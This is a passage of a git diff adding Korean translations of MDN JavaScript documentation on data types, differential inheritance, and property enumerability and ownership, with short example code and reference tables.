+ <li>별도로 {{Glossary("Object")}} 도 있음</li>
+</ul>
+
+<p>다음 장에서 이 여섯개의 자료형을 사용하는 방법과 자료형을 조합하여 더 복잡한 자료형을 만드는 방법에 대해 알아보자.</p>
+
+<h2 id="기본_타입_Primitive_value">기본 타입 (Primitive value)</h2>
+
+<p>오브젝트를 제외한 모든 값은 변경 불가능한 값 (immutable value) 이다. 예를 들자면, 특히 C 언어와는 다르게도, 문자열은 불변값 (immutable) 이다. 이런 값을 "primitive values" 라고 일컫는다. 아래의  {{ anch("Strings") }} 장에서 더 자세히 설명할 것이다.</p>
+
+<h3 id="Boolean_타입">Boolean 타입</h3>
+
+<p>Boolean 은 논리적인 요소를 나타내고, <code>true</code> 와 <code>false</code> 의 두 가지 값을 가질 수 있다.</p>
+
+<h3 id="Null_타입">Null 타입</h3>
+
+<p>Null 타입은 딱 한 가지 값, <code>null</code> 을 가질 수 있다. 더 알아보려면 {{jsxref("null")}} 와 {{Glossary("Null")}} 을 보라.</p>
+
+<h3 id="Undefined_타입">Undefined 타입</h3>
+
+<p>값을 할당하지 않은 변수는 <code>undefined</code> 값을 가진다. 더 알아보려면 {{jsxref("undefined")}} 와 {{Glossary("Undefined")}} 을 보라.</p>
+
+<h3 id="Number_타입">Number 타입</h3>
+
+<p>ECMAScript 표준에 따르면, 숫자의 자료형은 <a href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">배정밀도 64비트 형식 IEEE 754 값</a> (-(2<sup>53</sup> -1) 와 2<sup>53</sup> -1 사이의 숫자값) 단 하나만 존재한다. <strong>정수만을 표현하기 위한 특별한 자료형은 없다.</strong> 부동 소수점을 표현할 수 있는 것 말고도, Number 타입은 세 가지 의미있는 몇가지 상징적인 값들도 표현할 수 있다. 이 값에는 <code>+무한대</code>, <code>-무한대</code>, and <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a></code> (숫자가 아님)이 있다.</p>
+
+<p><code>+/-Infinity</code> 보다 크거나 작은지 확인하는 용도로 상수값인 {{jsxref("Number.MAX_VALUE")}} 나 {{jsxref("Number.MIN_VALUE")}} 을 사용할 수 있다. 또한, ECMAScript 6 부터는 숫자가 배정밀도 부동소수점 숫자인지 확인하는 용도로 {{jsxref("Number.isSafeInteger()")}} 과 {{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} 을 사용할 수 있다. 이 범위를 넘어서면, 자바스크립트의 숫자는 더 이상 안전하지 않다.</p>
+
+<p>Number 타입의 값 중에는 두 가지 방식으로 표현할 수 있는 유일한 값이 있는데, 0 이다. 0 은 -0 이나 +0 으로 표시할 수 있다. ("0" 은 물론 +0 이다.) 실제로는 이러한 사실은 거의 효력이 없다. 그 예로, <code>+0 === -0</code> 은 <code>true</code> 이다. 하지만 0으로 나누는 경우 그 차이가 눈에 띌 것이다.</p>
+
+<pre class="brush: js  language-js notranslate"><code class="language-js"><span class="operator token">&gt;</span> <span class="number token">42</span> <span class="operator token">/</span> <span class="operator token">+</span><span class="number token">0</span>
+<span class="number token">Infinity</span>
+<span class="operator token">&gt;</span> <span class="number token">42</span> <span class="operator token">/</span> <span class="operator token">-</span><span class="number token">0</span>
+<span class="operator token">-</span><span class="number token">Infinity</span></code></pre>
+
+<p>숫자가 보통 값만으로 표현되긴 하지만, 자바스크립트는 <a href="/en/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">몇 가지 이진 연산자</a>도 제공한다. 이러한 이진 연산자들은 <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">비트 마스킹(bit masking)</a> 기법으로 한 숫자 안에 여러 Boolean 값을 저장하는데도 쓸 수 있다. 일반적으로 이런 방법은 나쁜 방법이지만, 자바스크립트에서는 (Boolean 값의 배열이나 Boolean 값들을 이름있는 속성들로 가지는 객체 같은) Boolean 덩어리를 나타낼 다른 방법이 없다. 비트 마스킹은 또한 코드를 이해하고, 읽고, 유지보수하는데에 있어서 좀 더 어렵게 만드는 경향이 있다. 하지만 이러한 기법은 local storage 의 저장공간이 부족해서 절약하려고 하거나, 네트워크 상에서 각각의 비트를 전송하는 등의 극단적인 상황 같은 굉장히 제한적인 환경에서 필요할 수도 있다. 그래서 비트 마스킹 기법은 크기를 최대한 줄여야하는 상황에서만 사용을 고려해야 한다.</p>
+
+<h3 id="String_타입">String 타입</h3>
+
+<p>자바스크립트의 {{jsxref("Global_Objects/String", "String")}} 타입은 텍스트 데이터를 나타내는데 사용한다. 이는 16비트 부호없는 정수 값 요소들의 집합이다. String의 각 요소는 String의 위치를 차지한다. 첫 번째 요소는 0번 인덱스에 있고, 다음 요소는 1번, 그 다음 요소는 2번... 같은 방식이다. String 의 길이는 String이 가지고있는 요소의 갯수이다.</p>
+
+<p>C 같은 언어와는 다르게, 자바스크립트의 문자열은 변경 불가능 (immutable) 하다. 이것은 한 번 문자열이 생성되면, 그 문자열을 수정할 수 없다는걸 의미한다. 그러나 원래 문자열에서 일부가 수정된 다른 문자열을 만드는건 가능하다. 예를 들자면 이렇다.</p>
+
+<ul>
+ <li>원래 문자열에서 각각의 글자를 추출하거나 <code><a href="/en/JavaScript/Reference/Global_Objects/String/substr" title="substr">String.substr()</a></code>을 사용해서 만든 부분 문자열</li>
+ <li>접합 연산자 (<code>+</code>) 나 <code><a href="/en/JavaScript/Reference/Global_Objects/String/concat" title="concat">String.concat()</a></code> 으로 두 문자열을 합친 문자열</li>
+</ul>
+
+<h4 id="문자열의_자료형화를_조심하라!">"문자열의 자료형화"를 조심하라!</h4>
+
+<p>문자열을 복잡한 자료형을 표현하는 용도로 쓰는 방법이 꽤나 매력적일 수 있다. 단기적으로 이런 장점들이 있다.</p>
+
+<ul>
+ <li>접합 연산자로 손쉽게 복잡한 문자열을 만들 수 있다.</li>
+ <li>문자열은 디버깅이 쉽다 (화면에 출력한 내용이 문자열 변수에 있는 값과 같다)</li>
+ <li>문자열은 많은 API 에서 사용하는 공통분모이고 (<a href="/en/DOM/HTMLInputElement" title="HTMLInputElement">입력 필드</a>, <a href="/en/Storage" title="Storage">로컬 스토리지</a>  값, {{ domxref("XMLHttpRequest") }} 요청에서 <code>responseText</code>를 사용할 때 등) 그러다보니 문자열만으로 작업하는게 매혹적일 수 있다.</li>
+</ul>
+
+<p>규칙만 잘 정의해놓는다면, 어떤 자료구조가 되던 문자열로 표시할 수 있다. 그렇다고 해서 이게 좋은 방법이 되는 건 아니다. 예를 들자면, 구분자로 리스트 자료형을 흉내낼 수 있을 것이다 (하지만 자바스크립트의 배열을 사용하는게 더 알맞을 것이다). 불행하게도, 리스트의 요소중에 구분자가 들어있는 요소가 있다면 리스트는 엉망진창이 될 것이다. 물론 탈출 문자 (escape character) 등을 사용하거나 할 수도 있을 것이다. 하지만 이런 것들은 모두 미리 정해놓은 규칙을 필요로 하고, 덕분에 불필요한 관리 부담을 낳는다.</p>
+
+<p>문자열은 텍스트 데이터에만 사용하자. 복잡한 데이터를 나타낼때는, 문자열을 분석해서 적합한 추상화를 선택해 사용하자.</p>
+
+<h3 id="Symbol_타입">Symbol 타입</h3>
+
+<p>Symbol 은 ECMAScript 6 에서 추가되었다. Symbol은 <strong>유일</strong>하고 <strong>변경 불가능한</strong> (immutable) 기본값 (primitive value) 이다. 또한, 객체 속성의 key 값으로도 사용될 수 있다 (아래를 볼 것). 몇몇 프로그래밍 언어에서는 Symbol을 atom 이라고 부른다. 또, C 언어의 이름있는 열거형 (enum) 과도 비슷하다. 좀 더 자세히 알아보려면, 자바스크립트의  {{Glossary("Symbol")}} 와 {{jsxref("Symbol")}} 객체 래퍼 (wrapper) 를 보라.</p>
+
+<h2 id="객체_Objects">객체 (Objects)</h2>
+
+<p>컴퓨터 과학에서, 객체는 {{Glossary("Identifier", "식별자 (Identifier)")}} 로 참조할 수 있는, 메모리에 있는 값이다.</p>
+
+<h3 id="속성_Properties">속성 (Properties)</h3>
+
+<p>자바스크립트에서, 객체는 속성들을 담고있는 가방 (collection) 으로 볼 수 있다. <a href="/en/JavaScript/Guide/Values,_variables,_and_literals#Object_literals" title="en/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">객체 리터럴 문법 (object literal syntax)</a> 으로 제한적으로 몇 가지 속성을 초기화할 수 있고, 그러고 나서 속성들을 추가하거나 제거할 수도 있다. 속성 값은 객체를 포함해 어떠한 자료형도 될 수 있고, 그 덕분에  복잡한 데이터 구조를 형성하는게 가능해진다. 속성은 키 (key) 값으로 식별된다. 키 값은 String 이거나 Symbol 값이다.</p>
+
+<p>두 종류의 객체 속성이 있는데, 이들은 종류에 따라 특성값들을 가질 수 있다. 데이터 (data) 속성과 접근자 (accessor) 속성이 그것이다.</p>
+
+<h4 id="데이터_속성_Data_property">데이터 속성 (Data property)</h4>
+
+<p>키에 값을 연결하고, 아래와 같은 특성들 (attribute) 이 있다.</p>
+
+<table class="standard-table">
+ <caption>데이터 속성의 특성들</caption>
+ <tbody>
+  <tr>
+   <th>특성 (Attribute)</th>
+   <th>자료형</th>
+   <th>설명</th>
+   <th>기본값</th>
+  </tr>
+  <tr>
+   <td>[[Value]]</td>
+   <td>JavaScript 타입 모두 가능</td>
+   <td>이 속성에 대한 get 접근으로 반환되는 값.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Writable]]</td>
+   <td>Boolean</td>
+   <td><code>false</code> 라면, 이 속성의 [[Value]] 을 바꿀 수 없다.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td><code>true</code> 라면, 이 속성은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 루프에서 열거될 수 있다.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td><code>false</code> 라면, 이 속성은 제거될 수 없고, [[Value]]와 [[Writable]] 외에는 수정될 수 없다.</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="접근자_속성_Accessor_property">접근자 속성 (Accessor property)</h4>
+
+<p>값을 가져오거나 값을 저장하기 위해 키에 하나 혹은 두 개의 접근자 함수 (get, set) 연결짓는다. 아래와 같은 특성이 있다.</p>
+
+<table class="standard-table">
+ <caption>접근자 속성</caption>
+ <tbody>
+  <tr>
+   <th>특성 (Attribute)</th>
+   <th>자료형</th>
+   <th>설명</th>
+   <th>기본값</th>
+  </tr>
+  <tr>
+   <td>[[Get]]</td>
+   <td>Function 객체 혹은 undefined</td>
+   <td>이 속성의 값에 접근할 때마다, 인자 목록 없이 함수가 호출되고, 함수의 반환된 값으로 속성값을 가져온다. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a> 을 볼 것</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Set]]</td>
+   <td>Function 객체 혹은 undefined</td>
+   <td>
+    <p>이 속성의 값이 바뀌려고 할 때마다, 할당된 값을 인자로 함수가 호출된다. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a> 을 볼 것</p>
+   </td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td><code>true</code> 라면, 이 속성은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 루프에서 열거될 수 있다.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td><code>false</code> 라면, 이 속성은 제거될 수 없고, 데이터 속성을 수정할 수 없다.</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3>
+
+<p>자바스크립트 오브젝트는 키와 값의 매핑이다. 키는 문자열이고 값은 다른 어떤 값도 될 수 있다. 오브젝트는 <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>을 표현하는데 적합하다. 표준이 아닌 <a href="/en/JavaScript/Reference/Global_Objects/Object/proto" title="__proto__">__proto__</a>  슈도 프로퍼티를 사용할 때는 주의하자. 이것을 지원하는 환경에서는 <code>'__proto__'는 오브젝트의 프로토타입을 의미하므로 이 이름을 키로 사용할 수 없다.   속성을 사용할 수 없다. 문자열의 출처가 분명하지 않을 때(입력 필드의 입력값 등)</code>주의가 필요하다. <a class="external" href="http://productforums.google.com/forum/#!category-topic/docs/documents/0hQWeOvCcHU">이런 일이 생길 수도 있다</a>. 이 때는  <a class="external" href="http://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/ses/StringMap.js?r=4779">StringMap abstraction</a> 같은 대안을 사용해보자.함수는 일반 오브젝트에서 호출 가능한 특성을 추가한 오브젝트이다.</p>
+
+<h3 id="Dates">Dates</h3>
+
+<p>시간을 나타내려면 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global_Objects/Date">Date utility</a>를 사용하자. 최고의 선택이다.</p>
+
+<h3 id="Arrays">Arrays</h3>
+
+<p><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array">배열(Arrays</a>) 는 정수키를 가지는 일련의 값들을 표현하기 위한 오브젝트이다. 배열 오브젝트에는 길이를 나타내는 'length'란 속성도 있다. 배열은 Array.prototype을 상속받으므로 배열을 다룰 때 편한 <a href="/en/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a> (배열에서 값 검색)와 <a href="/en/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a> (새로운 값 추가) 같은 함수를 사용할 수 있다. 배열은 리스트나 집합을 표현하는데 적합하다.</p>
+
+<h3 id="WeakMaps_Maps_Sets">WeakMaps, Maps, Sets</h3>
+
+<p>표준이 아니지만 ECMAScript 6에서 표준이 될 것 같다.</p>
+
+<p>이 자료형들에서는 키가 문자열 뿐만 아니라 오브젝트도 될 수 있다. Set은 오브젝트의 집합을 나타내는 반면에 WeakMaps와 Maps는 오브젝트에 값을 연관시킬 수 있다. Map과 WeakMap의 차이는 전자는 오브젝트 키를 열거할 수 있다는 것이다. 이것은 가비지 콜렉션에서 이점을 준다.</p>
+
+<p>ECMAScript 5를 이용해서 Map과 Set을 구현할 수 있을 것이다. 그러나 오브젝트는 크기 비교가 안된다는 점 때문에(예를들어 어떤 오브젝트는 다른 오브젝트보다 '작다'라고 할 수 없다) look-up에 소요되는 시간이 선형 시간이지 않을 것이다. 네이티브 구현은(WeakMaps를 포함해서) look-up 시간이 거의 로그 시간에서 상수 시간이다.</p>
+
+<p>DOM 노드에 데이터를 지정하기 위해서 직접 속성을 지정할 수도 있지만 data-* 속성을 사용할 수도 있다. 여기에는 다른 스크립트도 모두 그 속성에 접근할 수 있다는 나쁜 점이 있다. Map과 WeakMap은 오브젝트만 사용할 수 있는 개인 데이터를 쉽게 만들 수 있게 해준다.</p>
+
+<h3 id="TypedArrays">TypedArrays</h3>
+
+<p>표준이 아니지만 ECMAScript 6에서 표준이 될 것 같다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li>
+</ul>
diff --git a/files/ko/web/javascript/differential_inheritance_in_javascript/index.html b/files/ko/web/javascript/differential_inheritance_in_javascript/index.html
new file mode 100644
index 0000000000..70fd4256c3
--- /dev/null
+++ b/files/ko/web/javascript/differential_inheritance_in_javascript/index.html
@@ -0,0 +1,63 @@
+---
+title: Differential inheritance in JavaScript
+slug: Web/JavaScript/Differential_inheritance_in_JavaScript
+translation_of: Web/JavaScript/Differential_inheritance_in_JavaScript
+---
+<h2 id="Introduction">Introduction</h2>
+
+<p>차등 상속(Differential Inheritance)은 자바 스크립트와 같은 프로토 타입 기반 프로그래밍 언어에서 사용되는 일반적인 상속 모델입니다. 대부분의 객체는 다른 일반적인 객체에서 파생되고 몇 가지 작은 측면에서만 차이가 있다는 원칙에 따라 동작합니다. 일반적으로 객체가 다른 다른 객체에 대한 포인터 목록을 내부적으로 유지합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+
+
+<p>다음 코드는 개체를 "상속"하는 간단한 메서드 예제입니다.</p>
+
+<pre class="brush: js notranslate">Object.prototype.inherit = function(){
+  // Create a new object with this as its prototype
+  var p = Object.create(this);
+
+  /* actually not necessary:
+  // Apply the constructor on the new object
+  this.constructor.apply(p, arguments);
+  */
+
+  return p;
+};
+</pre>
+
+<p>상속(<font face="Consolas, Liberation Mono, Courier, monospace">inherit)</font>을 사용하면 일반 프로토 타입에서보다 구체적인 개체를 간단히 파생시킬 수 있습니다. 다음은 상속 방법 및 차등 상속을 사용하여 점점 더 구체적인 객체를 구성하는 간단한 예입니다.</p>
+
+<pre class="brush: js notranslate">var root = {}; // Could be any object with any prototype object
+
+var record = root.inherit();
+record.toString = function(){ return "a Record"; };
+
+var person = root.inherit();
+person.firstName = false;
+person.lastName = false;
+person.toString = function(){
+    if (this.firstName) {
+        if (this.lastName) {
+            return this.firstName + " " + this.lastName;
+        } else {
+            return this.firstName;
+        }
+    } else if (this.lastName) {
+        return this.lastName;
+    } else {
+        return "a Person";
+    }
+};
+
+JoePerson = person.inherit();
+JoePerson.firstName = "Joe";
+alert( JoePerson.toString() );
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">inheritance and the prototype chain</a></li>
+</ul>
diff --git a/files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html b/files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html
new file mode 100644
index 0000000000..41252c39d1
--- /dev/null
+++ b/files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html
@@ -0,0 +1,331 @@
+---
+title: Enumerability and ownership of properties
+slug: Web/JavaScript/Enumerability_and_ownership_of_properties
+translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties
+---
+<div>{{JsSidebar("More")}}</div>
+
+
+
+<p>'Enumerable properties'(열거 가능한 속성)는 내부 열거 형 플래그가 true로 설정된 property로, 이는 간단한 할당 또는 property initializer (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a>를 통해 정의 된 특성 및 이러한 기본 열거 형을 false로 정의한 특성)를 통해 작성된 property의 기본값입니다. 등록 정보의 키가 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a>이 아니면 열거 가능한 등록 정보가 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 루프에 표시됩니다. 'Ownership of properties' (속성의 소유권)은 속성이 프로토 타입 체인이 아닌 개체에 직접 속하는지 여부에 따라 결정됩니다. 객체의 속성도 전체적으로 검색 할 수 있습니다. 개체 속성을 감지, 반복 / 열거 및 검색하는 여러 가지 기본 제공 방법이 있으며 아래 표와 같이 사용할 수 있습니다. 누락 된 범주를 얻는 방법을 보여주는 샘플 코드는 다음과 같습니다.</p>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <caption>Property enumerability and ownership - built-in methods of detection, retrieval, and iteration</caption>
+ <tbody>
+  <tr>
+   <th>Functionality</th>
+   <th>Own object</th>
+   <th>Own object and its prototype chain</th>
+   <th>Prototype chain only</th>
+  </tr>
+  <tr>
+   <td>Detection</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></p>
+       </td>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code> – filtered to exclude enumerables using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></p>
+       </td>
+       <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>Not available without extra code</td>
+       <td>Not available without extra code</td>
+       <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Not available without extra code</td>
+  </tr>
+  <tr>
+   <td>Retrieval</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code> </p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+       </td>
+       <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a> </code>– filtered to exclude enumerables using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Not available without extra code</td>
+   <td>Not available without extra code</td>
+  </tr>
+  <tr>
+   <td>Iterable</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code> </p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+       </td>
+       <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code> – filtered to exclude enumerables using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></p>
+
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for..in</a></code></p>
+
+        <p>(excluding symbols)</p>
+       </td>
+       <td>Not available without extra code</td>
+       <td>Not available without extra code</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Not available without extra code</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Obtaining_properties_by_enumerabilityownership">Obtaining properties by enumerability/ownership</h2>
+
+
+
+<p>아래는 모든 경우에 가장 효율적인 알고리즘은 아니지만 빠르게 코드를 작성하여 확인하기 좋습니다.</p>
+
+<ul>
+ <li>Detection can occur by <code>SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) &gt; -1</code></li>
+ <li>Iteration can occur by <code>SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});</code> (or use<code> filter()</code>, <code>map()</code>, etc.)</li>
+</ul>
+
+<pre class="brush: js notranslate">var SimplePropertyRetriever = {
+    getOwnEnumerables: function(obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerable);
+         // Or could use for..in filtered with hasOwnProperty or just this: return Object.keys(obj);
+    },
+    getOwnNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, false, this._notEnumerable);
+    },
+    getOwnEnumerablesAndNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+        // Or just use: return Object.getOwnPropertyNames(obj);
+    },
+    getPrototypeEnumerables: function(obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerable);
+    },
+    getPrototypeNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, false, true, this._notEnumerable);
+    },
+    getPrototypeEnumerablesAndNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+    },
+    getOwnAndPrototypeEnumerables: function(obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerable);
+        // Or could use unfiltered for..in
+    },
+    getOwnAndPrototypeNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, true, this._notEnumerable);
+    },
+    getOwnAndPrototypeEnumerablesAndNonenumerables: function(obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+    },
+    // Private static property checker callbacks
+    _enumerable: function(obj, prop) {
+        return obj.propertyIsEnumerable(prop);
+    },
+    _notEnumerable: function(obj, prop) {
+        return !obj.propertyIsEnumerable(prop);
+    },
+    _enumerableAndNotEnumerable: function(obj, prop) {
+        return true;
+    },
+    // Inspired by http://stackoverflow.com/a/8024294/271577
+    _getPropertyNames: function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+        var props = [];
+
+        do {
+            if (iterateSelfBool) {
+                Object.getOwnPropertyNames(obj).forEach(function(prop) {
+                    if (props.indexOf(prop) === -1 &amp;&amp; includePropCb(obj, prop)) {
+                        props.push(prop);
+                    }
+                });
+            }
+            if (!iteratePrototypeBool) {
+                break;
+            }
+            iterateSelfBool = true;
+        } while (obj = Object.getPrototypeOf(obj));
+
+        return props;
+    }
+};</pre>
+
+<h2 id="Detection_Table">Detection Table</h2>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col"><code>in</code></th>
+   <th scope="col"><code>for..in</code></th>
+   <th scope="col"><code>obj.hasOwnProperty</code></th>
+   <th scope="col"><code>obj.propertyIsEnumerable</code></th>
+   <th scope="col"><code>Object.keys</code></th>
+   <th scope="col"><code>Object.getOwnPropertyNames</code></th>
+   <th scope="col"><code>Object.getOwnPropertyDescriptors</code></th>
+   <th scope="col"><code>Reflect.ownKeys()</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Enumerable</th>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Nonenumerable</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Symbols keys</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Inherited Enumerable</th>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Inherited Nonenumerable</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Inherited Symbols keys</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in</a></code></li>
